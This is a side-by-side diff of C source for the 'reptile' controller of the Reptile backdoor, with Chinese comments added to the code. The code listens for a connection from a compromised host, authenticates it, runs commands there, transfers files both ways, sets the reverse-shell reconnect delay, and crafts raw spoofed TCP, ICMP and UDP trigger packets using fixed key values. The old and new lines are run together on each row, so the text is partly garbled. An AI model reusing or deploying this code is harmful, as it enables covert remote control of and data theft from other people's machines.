if (len == 0) { if (len == 0) {
fprintf(stderr, "stdin: end-of-file\n"); fprintf(stderr, "stdin: end-of-file\n");
break; break;
} }
ret = pel_send_msg(sock, message, len); ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
break; break;
} }
} }
} }
if (isatty(1)) if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp); tcsetattr(1, TCSADRAIN, &tp);
return 1; return 1;
} }
int get_file(int sock, char **args) // 从远程主机下载文件的函数
{ int get_file(int sock, char** args) {
char *temp, *pathname; char* temp, * pathname;
int ret, len, fd, total; int ret, len, fd, total;
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) { if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad); fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 发送文件路径到远程主机
len = strlen(args[1]); len = strlen(args[1]);
ret = pel_send_msg(sock, (unsigned char*)args[1], len);
ret = pel_send_msg(sock, (unsigned char *)args[1], len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 构建保存文件的路径
temp = strrchr(args[1], '/'); temp = strrchr(args[1], '/');
if (temp != NULL) if (temp != NULL)
temp++; temp++;
if (temp == NULL) if (temp == NULL)
temp = args[1]; temp = args[1];
len = strlen(args[2]); len = strlen(args[2]);
pathname = (char*)malloc(len + strlen(temp) + 2);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) { if (pathname == NULL) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
strcpy(pathname, args[2]); strcpy(pathname, args[2]);
strcpy(pathname + len, "/"); strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp); strcpy(pathname + len + 1, temp);
// 创建文件
fd = creat(pathname, 0644); fd = creat(pathname, 0644);
if (fd < 0) { if (fd < 0) {
p_error("creat"); p_error("creat");
free(pathname); free(pathname);
return 1; return 1;
} }
free(pathname); free(pathname);
// 接收文件数据并保存
total = 0; total = 0;
while (1) { while (1) {
ret = pel_recv_msg(sock, message, &len); ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg"); pel_error("pel_recv_msg");
fprintf(stderr, "%s Transfer failed.\n", bad); fprintf(stderr, "%s Transfer failed.\n", bad);
return 1; return 1;
} }
if (strncmp((char*)message, EXIT, EXIT_LEN) == 0 && total > 0)
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0)
break; break;
if (write(fd, message, len) != len) { if (write(fd, message, len) != len) {
p_error("write"); p_error("write");
return 1; return 1;
} }
total += len; total += len;
fprintf(stdout, "%d\r", total); fprintf(stdout, "%d\r", total);
fflush(stdout); fflush(stdout);
} }
fprintf(stdout, "%s %d done.\n\n", good, total); fprintf(stdout, "%s %d done.\n\n", good, total);
return 1; return 1;
} }
int put_file(int sock, char **args) // 向远程主机上传文件的函数
{ int put_file(int sock, char** args) {
char *temp, *pathname; char* temp, * pathname;
int ret, len, fd, total; int ret, len, fd, total;
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) { if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad); fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 构建文件路径
temp = strrchr(args[1], '/'); temp = strrchr(args[1], '/');
if (temp != NULL) if (temp != NULL)
temp++; temp++;
if (temp == NULL) if (temp == NULL)
temp = args[1]; temp = args[1];
len = strlen(args[2]); len = strlen(args[2]);
pathname = (char*)malloc(len + strlen(temp) + 2);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) { if (pathname == NULL) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
strcpy(pathname, args[2]); strcpy(pathname, args[2]);
strcpy(pathname + len, "/"); strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp); strcpy(pathname + len + 1, temp);
// 发送文件路径到远程主机
len = strlen(pathname); len = strlen(pathname);
ret = pel_send_msg(sock, (unsigned char*)pathname, len);
ret = pel_send_msg(sock, (unsigned char *)pathname, len);
free(pathname); free(pathname);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 打开文件并发送文件数据
fd = open(args[1], O_RDONLY); fd = open(args[1], O_RDONLY);
if (fd < 0) { if (fd < 0) {
p_error("open"); p_error("open");
return 1; return 1;
} }
total = 0; total = 0;
while (1) { while (1) {
len = read(fd, message, BUFSIZE); len = read(fd, message, BUFSIZE);
if (len < 0) { if (len < 0) {
p_error("read"); p_error("read");
return 1; return 1;
} }
if (len == 0) { if (len == 0) {
break; break;
} }
ret = pel_send_msg(sock, message, len); ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
fprintf(stderr, "%s Transfer failed.\n", bad); fprintf(stderr, "%s Transfer failed.\n", bad);
return 1; return 1;
} }
total += len; total += len;
printf("%s %d\r", good, total); printf("%s %d\r", good, total);
fflush(stdout); fflush(stdout);
} }
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); // 发送结束信号
pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN);
printf("%s %d done.\n\n", good, total); printf("%s %d done.\n\n", good, total);
return 1; return 1;
} }
int delay(int sock, char **args) // 设置反向shell连接间隔的函数
{ int delay(int sock, char** args) {
int ret, flag; int ret, flag;
unsigned int i, j; unsigned int i, j;
char *numbers = "0123456789"; char* numbers = "0123456789";
unsigned char out = OUT; unsigned char out = OUT;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stderr, "%s no arguments\n\n", bad); fprintf(stderr, "%s no arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 检查参数是否为数字
for (i = 0; i < strlen(args[1]); i++) { for (i = 0; i < strlen(args[1]); i++) {
flag = 0; flag = 0;
for (j = 0; j < strlen(numbers); j++) { for (j = 0; j < strlen(numbers); j++) {
if (args[1][i] == numbers[j]) if (args[1][i] == numbers[j])
flag = 1; flag = 1;
} }
if (flag == 0) { if (flag == 0) {
fprintf(stderr, "%s wrong argument\n\n", bad); fprintf(stderr, "%s wrong argument\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
} }
ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1])); // 发送延迟时间设置到远程主机
ret = pel_send_msg(sock, (unsigned char*)args[1], strlen(args[1]));
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
fprintf(stdout, "%s delay -> %s\n\n", good, args[1]); fprintf(stdout, "%s delay -> %s\n\n", good, args[1]);
return 1; return 1;
} }
int execute(int sock, char **args) // 执行命令的函数
{ int execute(int sock, char** args) {
int i, ret; int i, ret;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL || sock == -1) if (args[0] == NULL || sock == -1)
return 1; return 1;
// 查找并执行内置命令
for (i = 0; i < num_builtins(); i++) { for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0) { if (strcmp(args[0], builtin_str[i]) == 0) {
if (i == 0) { if (i == 0) {
return (*builtin_func[i])(sock, args); return (*builtin_func[i])(sock, args);
} else { }
ret = else {
pel_send_msg(sock, (unsigned char *)&i, 1); ret = pel_send_msg(sock, (unsigned char*)&i, 1);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
return (*builtin_func[i])(sock, args); return (*builtin_func[i])(sock, args);
} }
} }
} }
// 如果不是内置命令发送shell命令
i = 3; i = 3;
ret = pel_send_msg(sock, (unsigned char *)&i, 1); ret = pel_send_msg(sock, (unsigned char*)&i, 1);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
return (*builtin_func[3])(sock, args); return (*builtin_func[3])(sock, args);
} }
char *read_line(void) // 读取一行输入的函数
{ char* read_line(void) {
int bufsize = RL_BUFSIZE; int bufsize = RL_BUFSIZE;
int position = 0; int position = 0;
char *buffer = malloc(sizeof(char) * bufsize); char* buffer = malloc(sizeof(char) * bufsize);
int c; int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) { if (!buffer) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 循环读取用户输入,直到换行符
while (1) { while (1) {
c = getchar(); c = getchar();
if (c == EOF) { if (c == EOF) {
free(buffer); free(buffer);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} else if (c == '\n') { }
else if (c == '\n') {
buffer[position] = '\0'; buffer[position] = '\0';
return buffer; return buffer;
} else { }
else {
buffer[position] = c; buffer[position] = c;
} }
position++; position++;
if (position >= bufsize) { if (position >= bufsize) {
bufsize += RL_BUFSIZE; bufsize += RL_BUFSIZE;
char *buffer_backup = buffer; char* buffer_backup = buffer;
if ((buffer = realloc(buffer, bufsize)) == NULL) { if ((buffer = realloc(buffer, bufsize)) == NULL) {
free(buffer_backup); free(buffer_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -624,149 +582,155 @@ char *read_line(void)
} }
} }
char **parse(char *line) // 解析输入行的函数
{ char** parse(char* line) {
int bufsize = TOK_BUFSIZE, position = 0; int bufsize = TOK_BUFSIZE, position = 0;
char **tokens = malloc(bufsize * sizeof(char *)); char** tokens = malloc(bufsize * sizeof(char*));
char *token, **tokens_backup; char* token, ** tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) { if (!tokens) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM); token = strtok(line, TOK_DELIM);
while (token != NULL) { while (token != NULL) {
tokens[position] = token; tokens[position] = token;
position++; position++;
if (position >= bufsize) { if (position >= bufsize) {
bufsize += TOK_BUFSIZE; bufsize += TOK_BUFSIZE;
tokens_backup = tokens; tokens_backup = tokens;
tokens = realloc(tokens, bufsize * sizeof(char *)); tokens = realloc(tokens, bufsize * sizeof(char*));
if (!tokens) { if (!tokens) {
free(tokens_backup); free(tokens_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
} }
token = strtok(NULL, TOK_DELIM); token = strtok(NULL, TOK_DELIM);
} }
tokens[position] = NULL; tokens[position] = NULL;
return tokens; return tokens;
} }
void reptile_loop(int sock) // 命令行循环函数
{ void reptile_loop(int sock) {
char *line; char* line;
char **args; char** args;
int status; int status;
// 循环读取命令并执行,直到接收到退出信号
do { do {
line = readline("\e[01;32mreptile> \e[00m"); line = readline("\e[01;32mreptile> \e[00m");
add_history(line); add_history(line);
args = parse(line); args = parse(line);
status = execute(sock, args); status = execute(sock, args);
free(line); free(line);
free(args); free(args);
} while (status); } while (status);
clear_history(); clear_history();
} }
void handle_shutdown(int signal) // 处理关闭连接的信号
{ void handle_shutdown(int signal) {
close(sockfd); close(sockfd);
exit(signal); exit(signal);
} }
void listener(int port) // 监听连接的函数
{ void listener(int port) {
int new_sockfd, yes = 1; int new_sockfd, yes = 1;
struct sockaddr_in host_addr, client_addr; struct sockaddr_in host_addr, client_addr;
socklen_t sin_size; socklen_t sin_size;
// 创建套接字
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
fatal("in socket"); fatal("in socket");
} }
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == // 设置套接字选项,允许立即重用地址
-1) { if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("setting socket option SO_REUSEADDR"); fatal("setting socket option SO_REUSEADDR");
} }
// 设置信号处理函数,处理关闭连接的信号
signal(SIGTERM, handle_shutdown); signal(SIGTERM, handle_shutdown);
signal(SIGINT, handle_shutdown); signal(SIGINT, handle_shutdown);
// 定义主机地址结构体
host_addr.sin_family = AF_INET; host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(port); host_addr.sin_port = htons(port);
host_addr.sin_addr.s_addr = INADDR_ANY; host_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(host_addr.sin_zero), '\0', 8); memset(&(host_addr.sin_zero), '\0', 8);
if (bind(sockfd, (struct sockaddr *)&host_addr, // 绑定套接字到主机地址
sizeof(struct sockaddr)) == -1) { if (bind(sockfd, (struct sockaddr*)&host_addr, sizeof(struct sockaddr)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("binding to socket"); fatal("binding to socket");
} }
// 监听套接字
if (listen(sockfd, 5) == -1) { if (listen(sockfd, 5) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("listening on socket"); fatal("listening on socket");
} else { }
else {
fprintf(stdout, "%s Listening on port %d...\n", good, port); fprintf(stdout, "%s Listening on port %d...\n", good, port);
} }
// 接受客户端连接
sin_size = sizeof(struct sockaddr_in); sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); new_sockfd = accept(sockfd, (struct sockaddr*)&client_addr, &sin_size);
if (new_sockfd == -1) { if (new_sockfd == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("accepting connection"); fatal("accepting connection");
} }
// 打印客户端连接信息
fprintf(stdout, "%s Connection from %s:%d\n\n", awesome, fprintf(stdout, "%s Connection from %s:%d\n\n", awesome,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// usleep(100 * 1500); // 如果没有设置密码,提示用户输入密码
if (password == NULL) { if (password == NULL) {
password = getpass("Password: "); password = getpass("Password: ");
fprintf(stdout, "\n"); fprintf(stdout, "\n");
} }
// 初始化客户端连接
if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) { if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) {
close(new_sockfd); close(new_sockfd);
fprintf(stdout, "%s wrong password!\n\n", bad); fprintf(stdout, "%s wrong password!\n\n", bad);
exit(ERROR); exit(ERROR);
} }
// 打印欢迎信息并进入命令行循环
banner(); banner();
reptile_loop(new_sockfd); reptile_loop(new_sockfd);
// 关闭套接字
shutdown(new_sockfd, SHUT_RDWR); shutdown(new_sockfd, SHUT_RDWR);
close(sockfd); close(sockfd);
} }
void usage(char *argv0) // 显示使用方法的函数
{ void usage(char* argv0) {
fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", argv0);
argv0);
exit(1); exit(1);
} }
int main(int argc, char **argv) // 主函数
{ int main(int argc, char** argv) {
int opt, port = 0; int opt, port = 0;
// 解析命令行参数
while ((opt = getopt(argc, argv, "p:s:")) != EOF) { while ((opt = getopt(argc, argv, "p:s:")) != EOF) {
switch (opt) { switch (opt) {
case 'p': case 'p':
@ -781,28 +745,28 @@ int main(int argc, char **argv)
} }
} }
// 如果没有提供端口号,则显示使用方法并退出
if (port == 0) if (port == 0)
usage(*argv); usage(*argv);
// 如果命令行参数不足,则显示使用方法并退出
if (argc <= 1) if (argc <= 1)
usage(argv[0]); usage(argv[0]);
// printf("\n\e[01;36mReptile Shell\e[00m\n"); // 打印使用密码信息
// printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
if (password != NULL) if (password != NULL)
fprintf(stdout, "%s Using password: %s\n", good, password); fprintf(stdout, "%s Using password: %s\n", good, password);
// 创建子进程
pid = fork(); pid = fork();
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程调用listener函数监听连接
if (pid > 0) if (pid > 0)
listener(port); listener(port);
// if (pid == 0) // 子进程执行后台任务(这部分代码被注释掉了)
// background job while we are listening
return EXIT_SUCCESS; return EXIT_SUCCESS;
} }

@ -21,444 +21,457 @@
#include "util.h" #include "util.h"
// Don't worry, it is gonna cahnged next version // Don't worry, it is gonna cahnged next version
#define KEY 0x6de56d3b // 定义常量这些值用于设置IP首部和TCP首部的字段
#define IPID 3429 #define KEY 0x6de56d3b // 加密密钥
#define SEQ 15123 #define IPID 3429 // IP标识符
#define WIN 9965 #define SEQ 15123 // TCP序列号
#define WIN 9965 // TCP窗口大小
struct pseudohdr
{ // 定义一个伪首部结构体用于计算TCP和UDP数据包的校验和
uint32_t saddr; struct pseudohdr {
uint32_t daddr; uint32_t saddr; // 源IP地址
uint8_t zero; uint32_t daddr; // 目的IP地址
uint8_t protocol; uint8_t zero; // 填充字段总是0
uint16_t length; uint8_t protocol; // 协议类型TCP或UDP
uint16_t length; // 长度TCP或UDP首部和数据的总长度
}; };
unsigned short csum(unsigned short *buf, int nwords) // 计算校验和的函数用于IP和TCP/UDP首部
{ unsigned short csum(unsigned short* buf, int nwords) {
unsigned long sum; unsigned long sum;
unsigned short odd; unsigned short odd;
for (sum = 0; nwords > 1; nwords-=2) // 将两个字节的校验和相加
sum += *buf++; for (sum = 0; nwords > 1; nwords -= 2)
sum += *buf++;
if (nwords == 1) { // 如果有奇数个字节,将最后一个字节加入校验和
odd = 0; if (nwords == 1) {
*((unsigned char *)&odd) = *(unsigned char *)buf; odd = 0;
sum += odd; *((unsigned char*)&odd) = *(unsigned char*)buf;
} sum += odd;
}
sum = (sum >> 16) + (sum & 0xffff); // 将校验和折叠成16位
sum += (sum >> 16); sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum; // 返回反码
return ~sum;
} }
int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) // 发送TCP数据包的函数
{ int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
int socktcp, nbytes, ret = EXIT_FAILURE; // 变量声明
unsigned int pckt_tam, plen; int socktcp, nbytes, ret = EXIT_FAILURE;
char *buffer; unsigned int pckt_tam, plen;
struct iphdr *iph; char* buffer;
struct tcphdr *tcph; struct iphdr* iph;
struct sockaddr_in s; struct tcphdr* tcph;
socklen_t optval = 1; struct sockaddr_in s;
struct pseudohdr psh; socklen_t optval = 1;
char *pseudo_packet; struct pseudohdr psh;
char* pseudo_packet;
pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
memset(buffer, '\0', pckt_tam); return ret;
}
iph = (struct iphdr *)buffer;
tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam);
if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
fatal("on creating TCP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer;
} tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4;
fatal("on setsockopt"); iph->tos = 0;
goto close_socket; iph->id = htons(IPID);
} iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len); iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->ihl = 5; iph->daddr = inet_addr(dstip);
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len);
iph->tos = 0;
iph->id = htons(IPID); // 填充TCP首部
iph->ttl = 255; tcph->source = htons(srcport);
iph->protocol = IPPROTO_TCP; tcph->dest = htons(dstport);
iph->tot_len = pckt_tam; tcph->seq = 0x0;
iph->saddr = inet_addr(srcip); tcph->ack_seq = 0;
iph->daddr = inet_addr(dstip); tcph->doff = 5;
tcph->fin = 0;
//iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr)); tcph->syn = 1;
iph->check = csum((unsigned short *)buffer, iph->tot_len); tcph->rst = 0;
tcph->psh = 0;
tcph->source = htons(srcport); tcph->ack = 0;
tcph->dest = htons(dstport); tcph->urg = 0;
tcph->seq = 0x0; tcph->window = htons(WIN);
tcph->ack_seq = 0; tcph->urg_ptr = 0;
tcph->doff = 5; tcph->check = 0;
tcph->fin = 0;
tcph->syn = 1; // 构建伪首部用于计算TCP校验和
tcph->rst = 0; psh.saddr = inet_addr(srcip);
tcph->psh = 0; psh.daddr = inet_addr(dstip);
tcph->ack = 0; psh.zero = 0;
tcph->urg = 0; psh.protocol = IPPROTO_TCP;
tcph->window = htons(WIN); psh.length = htons(sizeof(struct tcphdr) + data_len);
tcph->urg_ptr = 0;
tcph->check = 0; // 计算TCP首部和数据的校验和
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
psh.saddr = inet_addr(srcip); if ((pseudo_packet = malloc(plen)) == NULL) {
psh.daddr = inet_addr(dstip); fatal("on malloc");
psh.zero = 0; goto close_socket;
psh.protocol = IPPROTO_TCP; }
psh.length = htons(sizeof(struct tcphdr) + data_len); bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len; tcph->seq = htons(SEQ);
tcph->check = 0;
if ((pseudo_packet = malloc(plen)) == NULL) { memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
fatal("on malloc"); tcph->check = csum((unsigned short*)pseudo_packet, plen);
goto close_socket;
} // 设置目的地址和端口
s.sin_family = AF_INET;
bzero(pseudo_packet, plen); s.sin_port = htons(dstport);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); s.sin_addr.s_addr = inet_addr(dstip);
tcph->seq = htons(SEQ); // 发送数据包
tcph->check = 0; if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len); fatal("on sending package");
tcph->check = csum((unsigned short *)pseudo_packet, plen);
// 清理资源
s.sin_family = AF_INET; if (nbytes > 0) {
s.sin_port = htons(dstport); fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
s.sin_addr.s_addr = inet_addr(dstip); ret = EXIT_SUCCESS;
}
if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); free(pseudo_packet);
if (nbytes > 0) {
fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
free(pseudo_packet);
close_socket: close_socket:
close(socktcp); close(socktcp);
free_buffer: free_buffer:
free(buffer); free(buffer);
return ret; return ret;
} }
int icmp(char *srcip, char *dstip, char *data, unsigned int data_len) // 发送ICMP数据包的函数
{ int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
int sockicmp, nbytes, ret = EXIT_FAILURE; // 变量声明
unsigned int pckt_tam; int sockicmp, nbytes, ret = EXIT_FAILURE;
char *buffer; unsigned int pckt_tam;
struct iphdr *iph; char* buffer;
struct icmphdr *icmp; struct iphdr* iph;
struct sockaddr_in s; struct icmphdr* icmp;
socklen_t optval = 1; struct sockaddr_in s;
socklen_t optval = 1;
pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len);
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
memset(buffer, '\0', pckt_tam); return ret;
}
iph = (struct iphdr *)buffer;
icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam);
if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
fatal("in creating raw ICMP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer;
} icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4;
fatal("in setsockopt"); iph->tos = 0;
goto close_socket; iph->id = htons(IPID);
} iph->ttl = 255;
iph->protocol = IPPROTO_ICMP;
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len); iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->ihl = 5; iph->tot_len = pckt_tam;
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len);
iph->tos = 0;
iph->id = htons(IPID); // 填充ICMP首部
iph->ttl = 255; icmp->type = 8; // ICMP类型回显请求
iph->protocol = IPPROTO_ICMP; icmp->code = ICMP_ECHO; // ICMP代码回显请求
iph->saddr = inet_addr(srcip); icmp->checksum = 0; // 清零校验和字段
iph->daddr = inet_addr(dstip); icmp->un.echo.id = htons(WIN); // ICMP标识符
iph->tot_len = pckt_tam; icmp->un.echo.sequence = htons(SEQ); // ICMP序列号
iph->check = csum((unsigned short *)buffer, iph->tot_len);
// 计算ICMP首部和数据的校验和
icmp->type = 8; icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len);
icmp->code = ICMP_ECHO;
icmp->checksum = 0; // 设置目的地址
icmp->un.echo.id = htons(WIN); s.sin_family = AF_INET;
icmp->un.echo.sequence = htons(SEQ); s.sin_addr.s_addr = inet_addr(dstip);
icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len); // 发送数据包
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
s.sin_family = AF_INET; fatal("on sending package");
s.sin_addr.s_addr = inet_addr(dstip);
// 清理资源
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) if (nbytes > 0) {
fatal("on sending package"); fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
if (nbytes > 0) { }
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
close_socket: close_socket:
close(sockicmp); close(sockicmp);
free_buffer: free_buffer:
free(buffer); free(buffer);
return ret; return ret;
} }
int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) // 发送UDP数据包的函数
{ int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
int sockudp, nbytes, ret = EXIT_FAILURE; // 声明变量
unsigned int pckt_tam, plen; int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket发送的字节数返回值
char *buffer; unsigned int pckt_tam, plen; // 数据包长度,伪包长度
struct iphdr *iph; char* buffer; // 缓冲区
struct udphdr *udph; struct iphdr* iph; // IP头指针
struct sockaddr_in s; struct udphdr* udph; // UDP头指针
socklen_t optval = 1; struct sockaddr_in s; // 地址结构
struct pseudohdr psh; socklen_t optval = 1; // 设置socket选项的值
char *pseudo_packet; struct pseudohdr psh; // 伪包头结构
char* pseudo_packet; // 伪包数据指针
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
memset(buffer, '\0', pckt_tam); return ret; // 返回失败
}
